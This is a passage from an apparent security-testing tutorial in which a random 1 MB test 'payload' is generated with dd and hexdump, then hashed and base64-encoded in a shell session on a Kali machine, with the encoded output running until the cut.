<p>This example payload was generated using <code>dd</code> and <code>hexdump -C</code> (e.g.: <code>dd if=/dev/urandom bs=1M count=1 | hexdump -C &gt; rand.hex</code>).</p>
<pre><code>kali-lan-client# sha256 rand.hex
fa0666341096d42e263a023f57714f45034eebf02e338a3b837a3b29ba10562f  rand.hex

kali-lan-client# base64 rand.hex
MDAwMDAwMDAgIDhlIDAzIDA3IDRiIDhjIGU2IDE3IDAwICA1MiAxZCA4NCA3NSBlNCBmYSA0
OSA3NiAgfC4uLksuLi4uUi4udS4uSXZ8CjAwMDAwMDEwICAyZiBlMSBiNiA0NCAxYSA1ZiA4
NiA5NSAgYTAgZmUgOTEgZjYgZDAgMGMgMTkgNTIgIHwvLi5ELl8uLi4uLi4uLi5SfAowMDAw
MDAyMCAgMTUgMjUgNjUgOWMgMjMgMjAgOTYgMzQgIDM1IDk1IDE2IGY0IGQzIGJmIGM2IDUw
ICB8LiVlLiMgLjQ1Li4uLi4uUHwKMDAwMDAwMzAgIDdlIGM2IDJiIGM2IDcwIDE5IDFkIGNh
ICA5MCBiOCBkNSBlZiBhOCBlNyBkMiBhZCAgfH4uKy5wLi4uLi4uLi4uLi58CjAwMDAwMDQw
ICA4YyA5MyBmNiBlYSA4ZCBiMCA0YyBkZiAgZWQgMjggNzkgZTkgMTcgNWQgZTcgNjcgIHwu
Li4uLi5MLi4oeS4uXS5nfAowMDAwMDA1MCAgMDggMTIgOWQgMjMgOTkgMWQgYmUgNTEgIDBi
IGRiIDM4IGI3IDBjIGQ4IDgzIGRjICB8Li4uIy4uLlEuLjguLi4uLnwKMDAwMDAwNjAgIDg5
IGJjIGUzIGE3IDA0IDE0IGJmIGFkICAzMCBkZiBlZiBhNiA2OSBmYSA5ZiA4YyAgfC4uLi4u
Li4uMC4uLmkuLi58CjAwMDAwMDcwICAyOSBlZSAwOCBlNCBjYiAxZCAxNSA5NiAgODQgYjkg
NTMgNDEgNjIgNGMgODUgZDMgIHwpLi4uLi4uLi4uU0FiTC4ufAowMDAwMDA4MCAgNjIgMTAg
YzMgNjIgOTQgY2EgMTIgMTYgIDc5IDU3IDRhIDc2IGNlIDA4IGZkIDllICB8Yi4uYi4uLi55
V0p2Li4uLnwKMDAwMDAwOTAgIDMzIGUwIDk3IGNiIDM0IGU4IDA3IGIzICAyYiA3ZiA1OSA0
NCA3YSBjMyAyYiAxOSAgfDMuLi40Li4uKy5ZRHouKy58CjAwMDAwMGEwICBjOSAwMyBhNCA2
ZSBlOCBlMiBkYSAyYiAgOWMgMTggNmUgMDggMzggMTAgNzcgOTkgIHwuLi5uLi4uKy4ubi44
LncufAowMDAwMDBiMCAgMTMgN2YgNjIgMWMgMDEgM2MgNWIgYWUgIGIyIGQ3IDY4IDFjIGRj
IGMyIDc1IDdiICB8Li5iLi48Wy4uLmguLi51e3wKMDAwMDAwYzAgIDJkIDlhIGIwIGU3IGQ0
IGJkIDNhIGQ0ICA5MSAxNiBjNiA3OCBkMiA5ZiAxZSBmMSAgfC0uLi4uLjouLi4ueC4uLi58
CjAwMDAwMGQwICA1YyAxZiA3MyBlYiBjNyA1NCBkNyA1YSAgNDUgMGUgZmUgYjUgNTMgYTkg
ZmUgYzIgIHxcLnMuLlQuWkUuLi5TLi4ufAowMDAwMDBlMCAgOWUgYTIgNDIgYTAgYTMgM2Ig
NTYgMDEgIDIzIDQ4IDA5IGU4IDdkIGZhIDI1IDQzICB8Li5CLi47Vi4jSC4ufS4lQ3wKMDAw
MDAwZjAgIGI4IGMwIDE4IDcwIGJjIDg2IDUwIDcxICBkMCBiZSAzMiBhNCAwMiAyNiAzYiA1
YSAgfC4uLnAuLlBxLi4yLi4mO1p8CjAwMDAwMTAwICBmNyAwNiA3NiBhZSA0YyAyNyA5NSBl
MSAgMmUgMzQgNmEgNmEgZDcgZDkgYTAgZTYgIHwuLnYuTCcuLi40amouLi4ufAowMDAwMDEx
MCAgNzAgMmIgOTQgNzYgMTIgOTkgMTkgZDAgIDUxIGJkIDA2IGYwIGZmIGI0IDdjIDZiICB8
cCsudi4uLi5RLi4uLi58a3wKMDAwMDAxMjAgIDY2IDZjIDU5IGNkIDFlIDk4IGQ1IDVkICBj
NyA1NCAzNSBkOSA0YiA2NiA1YSA0MSAgfGZsWS4uLi5dLlQ1LktmWkF8CjAwMDAwMTMwICAz
MCBlMSAzMyA0ZSA0ZiA4MSAzOSBkYiAgMjkgZDEgMDUgZDIgMDcgMmIgMWYgZTUgIHwwLjNO
Ty45LikuLi4uKy4ufAowMDAwMDE0MCAgNTggNWEgOWQgYjUgODAgOGIgNTIgMWQgIDJhIGZk
IGQ0IDhkIDQ1IDFiIGMxIGMzICB8WFouLi4uUi4qLi4uRS4uLnwKMDAwMDAxNTAgIGFkIDFh
IDQ0IDAzIDExIGU5IDZlIGRhICBkZSAxNiA3NSA5YyBkMiA5OSBlYyBjZCAgfC4uRC4uLm4u
Li51Li4uLi58CjAwMDAwMTYwICBmOCBhNSBmOCAzYiA4NiBkZCA0OSAyMyAgZDEgY2IgOTAg
YmMgZjMgMzkgMGEgMjEgIHwuLi47Li5JIy4uLi4uOS4hfAowMDAwMDE3MCAgMTIgYzEgYjYg
ZjQgNTQgODAgMGQgMTMgIDQ3IGVmIGNlIDYzIGJhIGFlIGIyIDAzICB8Li4uLlQuLi5HLi5j
Li4uLnwKMDAwMDAxODAgIGQ1IGU1IGM2IGQ2IDM2IGYwIGZiIDAwICA5ZSBhYyAzNiA5NyAz
ZCA1MyA4MSAzZCAgfC4uLi42Li4uLi42Lj1TLj18CjAwMDAwMTkwICAzZSBlNSBmMiAwYyAy
ZiA1MiBkYSA0ZCAgMjcgMWUgNzQgNTggNGIgMDAgNmQgYzAgIHw+Li4uL1IuTScudFhLLm0u
fAowMDAwMDFhMCAgNDMgYTUgNzggMWMgOWYgYWMgMTIgMzEgIGUxIGFjIGU5IGNmIGUyIDQ0
IGRjIDMzICB8Qy54Li4uLjEuLi4uLkQuM3wKMDAwMDAxYjAgIGE1IGU1IGQ0IGQwIDkyIGUx
IGVkIGJiICA3NSAyNSA5NiA0ZSBjMCA1YiBlNSBkMyAgfC4uLi4uLi4udSUuTi5bLi58CjAw
MDAwMWMwICA3MyA5MyAwZCBhNyBmZiBmNiBjZSAxYyAgN2EgZGIgZjMgOTAgMGMgMTcgOWQg
MTMgIHxzLi4uLi4uLnouLi4uLi4ufAowMDAwMDFkMCAgNmYgOTIgNDYgYzAgODQgNGMgMzgg
YTMgIDE5IDdlIGNiIDMxIGIzIDUxIGZiIGU5ICB8by5GLi5MOC4ufi4xLlEuLnwKMDAwMDAx
ZTAgIDcyIGE4IGU1IDJiIGEwIDBjIGQxIDQ3ICAzNCA4ZSA2MyAxNiBkNiA0MiBkZSBlZiAg
fHIuLisuLi5HNC5jLi5CLi58CjAwMDAwMWYwICA2NCA2YyA4ZCA1NSBkMiBmYyA4NSBmMSAg
OWYgNGEgNGUgZDAgN2YgNzAgYjUgZWUgIHxkbC5VLi4uLi5KTi4ucC4ufAowMDAwMDIwMCAg
OGQgZjUgYmQgOTMgODUgMGUgOGQgZDEgIDFmIDNhIDA4IGIzIDk3IGMwIDFhIDBhICB8Li4u
Li4uLi4uOi4uLi4uLnwKMDAwMDAyMTAgIGQ0IDQ5IGFhIGJiIDBiIDUzIDU2IDIwICA0NyAy
YiAzYSA5NiBmYiBiYSBlMCA1OCAgfC5JLi4uU1YgRys6Li4uLlh8CjAwMDAwMjIwICAyMyBm
MCBjMiBmOSA0OCA1MSA4YiA3YyAgNTcgMDQgZDIgYzQgNTMgNzIgM2UgMGEgIHwjLi4uSFEu
fFcuLi5Tcj4ufAowMDAwMDIzMCAgZjggZGUgNDQgYTUgZjQgYzAgNTEgYzYgIDY3IGRmIGRj
IGMxIDljIGJjIDRmIDliICB8Li5ELi4uUS5nLi4uLi5PLnwKMDAwMDAyNDAgIGQxIGU3IGNj
IGQ2IDQxIGY4IGM3IDM2ICA3NSA4OCA5NSBkZiA2YyAxZSA3ZSBlNSAgfC4uLi5BLi42dS4u
Lmwufi58CjAwMDAwMjUwICAxMSBiZSAyNyAzOCBiNSBkNCBjMCA4YSAgOGIgMzkgYjEgMTEg
NzggNDcgZTMgZGIgIHwuLic4Li4uLi45Li54Ry4ufAowMDAwMDI2MCAgOTkgMGMgZjQgMGYg
ZWUgNjIgODIgMzMgIDkyIGIyIDA0IGJiIGM3IDRmIGNmIGY0ICB8Li4uLi5iLjMuLi4uLk8u
LnwKMDAwMDAyNzAgIDZiIGQ3IGJhIDc3IDE2IDNiIDY0IDEyICAyYiA4NCA5ZCBjNCBmOCA0
OCBmNSBlYSAgfGsuLncuO2QuKy4uLi5ILi58CjAwMDAwMjgwICAxNCA2MSBlOCA2OCA4MSA3
MiBjNiBkZCAgMDcgOTQgNTEgMDcgN2QgYzIgZjMgNGIgIHwuYS5oLnIuLi4uUS59Li5LfAow
MDAwMDI5MCAgZTMgODIgMjggMmEgZGEgMmEgMTIgZmUgIGQ3IGY2IGJlIDAzIDNlIDY2IGE2
IDEwICB8Li4oKi4qLi4uLi4uPmYuLnwKMDAwMDAyYTAgIDQ4IDE4IDIwIDI0IDE2IDUyIDRk
IGVkICBiNSA4MiA0YSBjZSA3YSAwNiAxYiA2YyAgfEguICQuUk0uLi5KLnouLmx8CjAwMDAw
MmIwICBiYSA2YSA1YSA0YSA4ZiAxYyA1NiBkNiAgYzUgZGQgMmQgMTEgYTMgNzggOTEgNGIg
IHwualpKLi5WLi4uLS4ueC5LfAowMDAwMDJjMCAgNzcgYTYgYTggYzQgYzYgYmUgNGEgNDcg
IDk0IGE5IGIwIGMwIGUwIDZiIDI3IGQxICB8dy4uLi4uSkcuLi4uLmsnLnwKMDAwMDAyZDAg
IDE3IGQ1IDdkIDgzIGJlIDI3IDRjIDU2ICBiMiBlYiBhZSA2NSBiNSBmYSAwMSBkOCAgfC4u
fS4uJ0xWLi4uZS4uLi58CjAwMDAwMmUwICAyNiBlOCA3MyAzYiBlMSBiNSBhYyA5MyAgMjAg
OTUgODkgMTIgZDMgYzYgZWYgN2MgIHwmLnM7Li4uLiAuLi4uLi58fAowMDAwMDJmMCAgNmEg
N2IgMDUgNjggZDggNGIgYTYgMDEgIGFkIDZjIDlhIGFhIDI0IDZlIGFhIDljICB8ansuaC5L
Li4ubC4uJG4uLnwKMDAwMDAzMDAgIGRmIDZmIDZhIDNkIGEzIGJlIGI3IDVhICA5OCAxMyAy
NyA3MCBhMyAzZiA5YyBiNSAgfC5vaj0uLi5aLi4ncC4/Li58CjAwMDAwMzEwICBmYyBkNSA0
OCAyNSA3MiBlMCA5NSBhMyAgMWEgZWQgYTAgZmYgNzEgNjcgMGEgZWUgIHwuLkglci4uLi4u
Li5xZy4ufAowMDAwMDMyMCAgZGQgNDkgNzYgYmUgYWIgYjMgZDIgOWYgIDRmIDhhIDc1IDZm
IDZiIDg3IDJkIDE3ICB8Lkl2Li4uLi5PLnVvay4tLnwKMDAwMDAzMzAgIGQzIDJiIDRiIGNj
IDFmIDc2IGE2IDAxICBkYSBhNCA4NiA3NSA5YyA2NCAyNiBlZCAgfC4rSy4udi4uLi4udS5k
Ji58CjAwMDAwMzQwICAzMSBmNyBiZiBlMSA3MiAxNyBmYSA1MiAgZmEgY2UgNGIgYWQgNTIg
NWIgMWQgM2MgIHwxLi4uci4uUi4uSy5SWy48fAowMDAwMDM1MCAgOWMgOWIgZTQgMmUgYTkg
ZmEgMWUgZWUgIDE5IDFiIGE2IGMxIDgzIGUxIDRiIDgzICB8Li4uLi4uLi4uLi4uLi5LLnwK
MDAwMDAzNjAgIDJlIGQ3IGU4IDMyIDFlIDdiIGExIDhkICA5NSBkNyBiOCA2ZCBhMCAwZCA5
MyAxYiAgfC4uLjIuey4uLi4ubS4uLi58CjAwMDAwMzcwICA2ZiA1MSA4ZSBkNCAzOSA4YSBj
YiBjMyAgYmIgMjEgMWQgZGIgMDUgZDYgYzUgY2YgIHxvUS4uOS4uLi4hLi4uLi4ufAowMDAw
MDM4MCAgMTkgNWQgMGYgZTcgNDQgMWQgZjQgYmYgIDI2IDBkIDI2IGFlIDQ1IDkzIDI0IDU5
ICB8Ll0uLkQuLi4mLiYuRS4kWXwKMDAwMDAzOTAgIGFkIGVmIDY4IDdhIGExIGU3IGMyIDQw
ICAxNiBhMCBjZiA2MCAzNCBmNiA4YiBlNiAgfC4uaHouLi5ALi4uYDQuLi58CjAwMDAwM2Ew
ICA5MSA3MCBhOCA4YSBkZiA1ZiA2NCAzYyAgY2QgYWEgNDIgYjcgZWQgN2UgYTggZDQgIHwu
cC4uLl9kPC4uQi4ufi4ufAowMDAwMDNiMCAgMGEgNWEgNGUgMzYgYjAgNmYgNzAgOGQgIDI3
IDBmIDhlIDgzIDQ4IDkzIDExIDhmICB8LlpONi5vcC4nLi4uSC4uLnwKMDAwMDAzYzAgIDE5
IGJhIDY1IDkxIDY5IGRjIDc2IGE3ICAxZCAxOSA1MyAwMyBlNiA4OSBkMSA2MiAgfC4uZS5p
LnYuLi5TLi4uLmJ8CjAwMDAwM2QwICAwNCA3YiA1ZiBmZiBlOCA2NyAwNiBlOSAgZjEgNWEg
ZjMgZjYgOGYgYWIgMzkgMzMgIHwue18uLmcuLi5aLi4uLjkzfAowMDAwMDNlMCAgZTYgM2Qg
ZGEgYWQgZmIgOGUgYWQgM2UgIGQ3IDgwIGEyIDRiIGQ2IDczIGJjIGMzICB8Lj0uLi4uLj4u
Li5LLnMuLnwKMDAwMDAzZjAgIGQ5IGZmIGU0IGI1IGY0IGQxIDMxIDZiICBmOSA0NCA2MCBj
MiBkYyA2MCBjYSAxMCAgfC4uLi4uLjFrLkRgLi5gLi58CjAwMDAwNDAwICA4OSBhOCA5ZSAw
NyA0NyA5NCA0NCBlZiAgNzIgZmIgOGUgZmUgZmQgZTggMjUgZjkgIHwuLi4uRy5ELnIuLi4u
LiUufAowMDAwMDQxMCAgOWIgMzMgZDIgZjQgMGEgOWQgNzQgZWQgIGY5IGQzIGY2IDAzIDll
IDIwIDMzIGY5ICB8LjMuLi4udC4uLi4uLiAzLnwKMDAwMDA0MjAgIDE3IDM4IDIzIDk1IDEx
IDdiIDFmIGNmICA1NSA5NyA3YyAxYyAwNyBlOCA1ZiAxMSAgfC44Iy4uey4uVS58Li4uXy58
CjAwMDAwNDMwICA4MSAwYiBmZCA0OCBkNiBmMSBkMSAyYiAgMDggZWMgODEgODAgNDYgNDEg
NzEgNTUgIHwuLi5ILi4uKy4uLi5GQXFVfAowMDAwMDQ0MCAgY2QgNjMgMWYgZTkgZDAgNDUg
NjEgMGIgIDY4IDA0IDNhIGI3IDYzIGFmIGNlIDEyICB8LmMuLi5FYS5oLjouYy4uLnwKMDAw
MDA0NTAgIGI3IGM5IGVjIDVkIDc1IDZlIGExIDA1ICAwYyAwMyA4OCBhZiA3MyA5MSBiMiA5
MiAgfC4uLl11bi4uLi4uLnMuLi58CjAwMDAwNDYwICA1MCAzZiA0NSA1MyA4NCAxZSA5OSAw
OSAgMGEgNTcgMjMgNTcgMDkgMWUgOTkgNmEgIHxQP0VTLi4uLi5XI1cuLi5qfAowMDAwMDQ3
MCAgYjIgNGQgMTQgYmMgYmMgMmMgNDMgYjkgIGZiIGMxIGJjIDM2IDIwIDg3IDY2IGVjICB8
Lk0uLi4sQy4uLi42IC5mLnwKMDAwMDA0ODAgIGMzIGFmIGU5IDMwIGEwIGI2IDkzIDM0ICAy
ZiA4MyBlNiBkNCA3YSBiZCAyMyBlZiAgfC4uLjAuLi40Ly4uLnouIy58CjAwMDAwNDkwICBl
YiBkYiA5OCA0YSA4MyAwNSBmYiBmZSAgZjMgZWIgZjAgZDEgNTAgMDIgMTYgNWIgIHwuLi5K
Li4uLi4uLi5QLi5bfAowMDAwMDRhMCAgYTIgNjYgYWMgZDYgMTUgZWQgNWEgZjggIDkwIDFl
IDNmIGI5IDcwIDM3IDRhIDc1ICB8LmYuLi4uWi4uLj8ucDdKdXwKMDAwMDA0YjAgIDY0IDk0
IGRjIGRmIDJhIDYzIDlkIDU1ICA4MCBmYyA5NyA0OSA4OSAwYyA2YiA3NiAgfGQuLi4qYy5V
Li4uSS4ua3Z8CjAwMDAwNGMwICBlNCAxOSAyNyAxZCA2MSA1ZiAwZCA2YyAgYTMgNWYgMDAg
OGUgNmQgMjkgZTMgN2YgIHwuLicuYV8ubC5fLi5tKS4ufAowMDAwMDRkMCAgNGUgNGIgMjUg
ZDAgYzYgZmMgZDEgY2UgIDcwIDE3IDdiIDNmIDUxIDBmIDU0IGNiICB8TkslLi4uLi5wLns/
US5ULnwKMDAwMDA0ZTAgIGFmIDYyIDIxIDQ3IGEzIDc1IDRlIDk4ICBkMCBlYyA0YyA3ZSA4
ZiAxNiA5MSA4YiAgfC5iIUcudU4uLi5Mfi4uLi58CjAwMDAwNGYwICAxNiBhOCBhMyBiMiA3
NSAyNCA5NCAxNCAgYmIgYjEgNjEgNjYgMTcgMTEgNjUgMmQgIHwuLi4udSQuLi4uYWYuLmUt
fAowMDAwMDUwMCAgNTIgM2EgNWQgN2YgYzAgMzAgNWUgNWMgIDU4IDRmIDdkIDIxIDkxIGJh
IDEyIDFiICB8UjpdLi4wXlxYT30hLi4uLnwKMDAwMDA1MTAgIDE0IDQxIGQ0IDgxIGUwIGI1
IDhlIGNhICAyYyBmYiA4MyA4OCBmYyA5YyA1OSA1YSAgfC5BLi4uLi4uLC4uLi4uWVp8CjAw
MDAwNTIwICBhNiA4MyBkNyA3MiAxZiBlNCBkYiA5MyAgYTMgN2EgNGYgZTAgYmUgZDEgMmIg
MTggIHwuLi5yLi4uLi56Ty4uLisufAowMDAwMDUzMCAgZmMgMDQgMjIgOTIgNDIgMGQgYmMg
MTEgIDE2IGZkIDU5IDA1IDEzIGE1IDZkIGNmICB8Li4iLkIuLi4uLlkuLi5tLnwKMDAwMDA1
NDAgIDJhIGZmIDFiIDkzIDgyIGQ3IGNhIDMwICAwYyBjNCA5ZCAyMiBiOSBmYyAxYyA2NCAg
fCouLi4uLi4wLi4uIi4uLmR8CjAwMDAwNTUwICA5YSAwYiBjNSBmNyAwNCAxOSAwYiA3MyAg
ZjMgN2UgYTUgYzggZWQgMWUgYTMgZGIgIHwuLi4uLi4ucy5+Li4uLi4ufAowMDAwMDU2MCAg
ZWUgNDQgMzggMGEgNGUgZmUgYWMgMzggIDBmIDMzIGQyIDVlIDU1IDY3IDc0IDk3ICB8LkQ4
Lk4uLjguMy5eVWd0LnwKMDAwMDA1NzAgIDAyIDdhIDQ0IGUxIDc2IDQ4IGUwIDI3ICA0MyA3
ZSA2NiAwOSAyOSA3OSBhNiBjOCAgfC56RC52SC4nQ35mLil5Li58CjAwMDAwNTgwICBjMSAx
YiAwZSBiMiAzOSA1OSA1OCBiZSAgZmMgYjggOGEgOWQgZWQgNmQgZGQgNTMgIHwuLi4uOVlY
Li4uLi4ubS5TfAowMDAwMDU5MCAgNTUgMTQgYmUgOTEgZjIgYmYgNGIgNjYgIGYwIDc4IDVj
IDQ0IDMzIGZlIDRlIDc5ICB8VS4uLi4uS2YueFxEMy5OeXwKMDAwMDA1YTAgIDQyIDFhIDJk
IDRjIDJlIDMyIDliIDExICBiYSA0MCA2ZSBmMSA0NSBlNiA5MyBiZSAgfEIuLUwuMi4uLkBu
LkUuLi58CjAwMDAwNWIwICBjMyAxNSBkYyA2MyBkMyBlNCBlYyA5MSAgZjAgMzYgNWIgMTQg
NTYgNDIgMGQgMTcgIHwuLi5jLi4uLi42Wy5WQi4ufAowMDAwMDVjMCAgYjggMGUgODcgOGMg
MWEgYTcgMzEgZjMgIGIwIDg2IDllIGJlIDUyIGQwIDIwIDQ1ICB8Li4uLi4uMS4uLi4uUi4g
RXwKMDAwMDA1ZDAgIDJjIDM4IGYwIDEwIDIwIGNlIDUyIDQzICBlZSAyZSAwNyAzYSAyNiBk
YSA4ZSA1MSAgfCw4Li4gLlJDLi4uOiYuLlF8CjAwMDAwNWUwICA5MiBkYSAwNiA0MyBhMSBi
OSAzYSBjYiAgNzYgYTAgMDkgNGQgMmEgMTMgMzMgMmIgIHwuLi5DLi46LnYuLk0qLjMrfAow
MDAwMDVmMCAgYjMgZDcgOTQgZGUgYTEgZDcgNTggZTYgIDY4IDAzIDY4IDMyIDk1IGVkIDg3
IGM3ICB8Li4uLi4uWC5oLmgyLi4uLnwKMDAwMDA2MDAgIDdlIGM0IGUwIGU0IGRmIGY4IGY2
IGY1ICAzYSA4YiBmZiBmOCBlOSA1ZSBkMCBhOCAgfH4uLi4uLi4uOi4uLi5eLi58CjAwMDAw
NjEwICAzZiBjMiAwZCAyMiBiNSA4ZCAwZCBlYiAgMDggYTIgOGMgYzkgMDcgMjQgYzMgYWMg
IHw/Li4iLi4uLi4uLi4uJC4ufAowMDAwMDYyMCAgYmYgYzAgYjYgZTAgZDAgZTEgZDUgOWEg
IGVjIDI5IDg4IDBhIGQ4IDk4IDNlIDJiICB8Li4uLi4uLi4uKS4uLi4+K3wKMDAwMDA2MzAg
IDFlIDRkIGUzIDk5IDJjIGVkIDYzIDJjICBkMSA1ZCA1OCA5NiBkNiAzMyA0MSAxNiAgfC5N
Li4sLmMsLl1YLi4zQS58CjAwMDAwNjQwICAxMiA4MyA1ZiBkMiA3NiAzZiAyYyBiZSAgODMg
MDAgMjQgYzkgZWUgYzggZjUgZTYgIHwuLl8udj8sLi4uJC4uLi4ufAowMDAwMDY1MCAgNWYg
NjEgNTkgNzcgNzQgMjYgNjQgZmMgIGU2IDdkIDc3IDgzIDhkIDc2IDY5IDc1ICB8X2FZd3Qm
ZC4ufXcuLnZpdXwKMDAwMDA2NjAgIGM4IDFiIGVlIGNjIDA0IGFjIDU4IGIzICBhZCAyMCA1
OSAzMCAyZCAwMiAwYiAwNSAgfC4uLi4uLlguLiBZMC0uLi58CjAwMDAwNjcwICA3ZCAwNyAz
OSA4YyAxNiA0NSA3OCA1OSAgM2QgODkgZDUgYmQgODIgMWMgODggZjMgIHx9LjkuLkV4WT0u
Li4uLi4ufAowMDAwMDY4MCAgNzAgZjYgMjEgNmQgYjAgNTEgY2IgMTAgIDVlIDNlIDUzIGQ0
IGExIDMzIDg0IGI0ICB8cC4hbS5RLi5ePlMuLjMuLnwKMDAwMDA2OTAgIDZlIDNkIDlhIDlj
IGY1IGEwIDI5IDBkICAyMCBkMiA5YyA4OSA3OCA0ZiA2NSBkOSAgfG49Li4uLikuIC4uLnhP
ZS58CjAwMDAwNmEwICA1MyBlYiA4OCAzZSBkOSA4ZCBkNyBjMSAgNTMgNjYgOTYgOTggZWUg
N2UgNmQgNmYgIHxTLi4+Li4uLlNmLi4ufm1vfAowMDAwMDZiMCAgODEgZTUgMjcgMjEgMzMg
MmEgN2YgYjYgIGRhIDE3IGE3IGQ4IDBjIGYxIDVkIGU3ICB8Li4nITMqLi4uLi4uLi5dLnwK
MDAwMDA2YzAgIDI5IGY0IGUxIGNmIDI1IDkyIGQzIDJmICA2NiAxMSBkMiA5NSBlYSBlMiA1
NiBmMSAgfCkuLi4lLi4vZi4uLi4uVi58CjAwMDAwNmQwICA1YiBkYiA4OSA3NyBkYiA3YiAw
ZSBiZCAgY2QgYzEgZTQgYzggNTcgZTQgZGMgOTQgIHxbLi53LnsuLi4uLi5XLi4ufAowMDAw
MDZlMCAgNGUgMjIgODMgY2IgZmEgYmUgM2EgZmMgIGM5IDE2IDA5IDZjIDFlIGI0IDgzIGRi
ICB8TiIuLi4uOi4uLi5sLi4uLnwKMDAwMDA2ZjAgIGQ5IDUyIDJmIDdkIDEzIDg4IGE2IGY5
ICBlYSBmZSAxYyAyOCA4MSAyMyAxMiA5MSAgfC5SL30uLi4uLi4uKC4jLi58CjAwMDAwNzAw
ICBhYSBmYiA5MCA1OCBhYyBkOCA0YyBmZCAgZmEgZDQgNWQgNDcgOTYgZmIgZjIgMDQgIHwu
Li5YLi5MLi4uXUcuLi4ufAowMDAwMDcxMCAgY2MgNmYgM2QgNGYgNzQgNDQgYzIgMDEgIDdj
IDJiIGM5IDg1IDA1IGU5IDlkIDVhICB8Lm89T3RELi58Ky4uLi4uWnwKMDAwMDA3MjAgIGE2
IGM4IDY5IDU3IGY3IDAwIDBhIGVhICBlZSBmZCA3ZiA2OSA3ZiA4NSBlMSAwZCAgfC4uaVcu
Li4uLi4uaS4uLi58CjAwMDAwNzMwICA2MiAzOSBkMCBiYSBjYyAyYSA4NCAyOCAgZWMgYWYg
NmUgY2UgZDkgNjEgYTYgNTMgIHxiOS4uLiouKC4ubi4uYS5TfAowMDAwMDc0MCAgY2QgMGUg
Y2UgZTQgZGMgNDIgZDMgZTMgIDJhIGFmIDE3IGIwIDc4IDYzIDYwIDdjICB8Li4uLi5CLi4q
Li4ueGNgfHwKMDAwMDA3NTAgIDRiIDg5IGQyIDI5IGU1IDA0IGJiIGExICA0ZSBhNSA2NSBh
ZSA5NSA2ZiBmMSAyNSAgfEsuLikuLi4uTi5lLi5vLiV8CjAwMDAwNzYwICBhYiBmOSA3MSA5
ZSAwMiA4NSBjMCBjOSAgN2QgMGYgOGYgM2QgOTIgNjMgY2MgYjMgIHwuLnEuLi4uLn0uLj0u
Yy4ufAowMDAwMDc3MCAgYTggMjggMmMgOTAgNTMgZmQgMzggNjcgIDI3IGUwIDNmIGJlIDM3
IDQyIDAxIDcyICB8LigsLlMuOGcnLj8uN0IucnwKMDAwMDA3ODAgIGZiIDMyIGQxIDUwIGVm
IGNjIGJlIGQ4ICAyMSA3OSA4NiBjOCA4MiAwNyA5ZiAwMCAgfC4yLlAuLi4uIXkuLi4uLi58
CjAwMDAwNzkwICBmOSBkZiA0OCBlYiAyNyA5MSBkNCBlMSAgNWEgMmMgNmIgZTIgYzcgOTgg
ZTIgY2EgIHwuLkguJy4uLlosay4uLi4ufAowMDAwMDdhMCAgZGQgM2YgMTEgOWMgYmEgNTMg
NGEgOWMgIGVkIDZhIDMxIDE3IDM5IGE1IGM2IGU2ICB8Lj8uLi5TSi4uajEuOS4uLnwKMDAw
MDA3YjAgIDdiIDExIDNlIDk5IGRjIDkxIGZmIDNkICBlZiAyNiBjNSAzYiBiZiA0ZiA3NyA0
NCAgfHsuPi4uLi49LiYuOy5Pd0R8CjAwMDAwN2MwICBlZiAyYyAwYyA3MiBiNyBhMSA2MiBl
NyAgMmEgNDAgNGYgNTUgYTcgYzQgMmIgYWUgIHwuLC5yLi5iLipAT1UuLisufAowMDAwMDdk
MCAgZDggYTMgMmQgZWIgZDIgMWYgNjAgNTkgIDBlIDVhIDEzIDAyIDE3IGI4IDM1IGZiICB8
Li4tLi4uYFkuWi4uLi41LnwKMDAwMDA3ZTAgIDQwIGUwIDAyIGU0IGIzIGYxIGRiIGE2ICAz
YiA3MSBiZCBjMiBjNyA3ZCA2MCBjZiAgfEAuLi4uLi4uO3EuLi59YC58CjAwMDAwN2YwICA0
ZiAzOSBmOCBhMSBkNyBmNyAxOCAyNCAgNWEgZGEgNTQgODMgNTkgYTUgYWYgYjAgIHxPOS4u
Li4uJFouVC5ZLi4ufAowMDAwMDgwMCAgNmUgNjAgMjggM2YgNWYgMjIgNDMgN2UgIGUzIGM1
IDVmIGI1IGM2IGNmIDA5IGExICB8bmAoP18iQ34uLl8uLi4uLnwKMDAwMDA4MTAgIDJhIGMz
IDk1IGI1IDFkIDAxIDVjIDk5ICAwMCA5MyBlZSA4MCBlMSA0NCA2OSAxZiAgfCouLi4uLlwu
Li4uLi5EaS58CjAwMDAwODIwICBkZCAwZSBjZCBiZSA3NiBkOSA1YyA4YyAgYTcgM2MgMzYg
OTAgYzMgNzQgZjEgMmIgIHwuLi4udi5cLi48Ni4udC4rfAowMDAwMDgzMCAgZTcgOTYgN2Ug
YjUgYTMgYjAgNWQgZWUgIDVjIDAwIDIwIDE3IDdhIDRjIDljIDgyICB8Li5+Li4uXS5cLiAu
ekwuLnwKMDAwMDA4NDAgIGM5IGZiIGE0IGRmIGU1IDE3IDU1IDEwICA3YSA0OSBiOSAwNSAy
NyBhZCA2MSA5YyAgfC4uLi4uLlUuekkuLicuYS58CjAwMDAwODUwICAwOCAxMyBlZCAxYiA3
ZCAzYiAzOSA2OSAgYWQgZTkgZmMgNGMgZjUgMTAgY2IgY2UgIHwuLi4ufTs5aS4uLkwuLi4u
fAowMDAwMDg2MCAgZGIgMzYgNmYgOGYgNDUgMzYgODIgOGUgIGQ0IGFkIDQ1IGY2IDMwIDNm
IDBjIDIxICB8LjZvLkU2Li4uLkUuMD8uIXwKMDAwMDA4NzAgIDQ0IDhiIDc1IGM5IGQxIDA3
IGU3IDgwICAzOCA5NCAzNCA3YSBhOSBhZiA0MSBmMSAgfEQudS4uLi4uOC40ei4uQS58CjAw
MDAwODgwICA1OCAzZSAxNiA1ZiBhZSBlYSBjMiA2MiAgOTEgZGYgNGMgMzAgZWIgMTIgZDEg
MTggIHxYPi5fLi4uYi4uTDAuLi4ufAowMDAwMDg5MCAgZDYgOGMgZTYgODkgZTkgZGMgMjIg
NzAgIDE1IDU0IDBjIDI5IGE5IGE0IDg1IDVkICB8Li4uLi4uInAuVC4pLi4uXXwKMDAwMDA4
YTAgIDM4IDE4IGFjIGUxIGQ3IDBjIGU1IDJiICA0YiA3MiA2NiBkYiAyZCBkYyAwOSAzOCAg
fDguLi4uLi4rS3JmLi0uLjh8CjAwMDAwOGIwICBmMSAwMiA5YSBhNSAzOCA0YyBiOCAyZSAg
ZmUgNjggYjYgOWMgZTMgOGMgMWYgZGUgIHwuLi4uOEwuLi5oLi4uLi4ufAowMDAwMDhjMCAg
YWQgMDggMzcgMmUgODYgZDIgZjQgYmYgIGM1IGQ1IDY3IGE5IDM2IDFlIDVkIDk5ICB8Li43
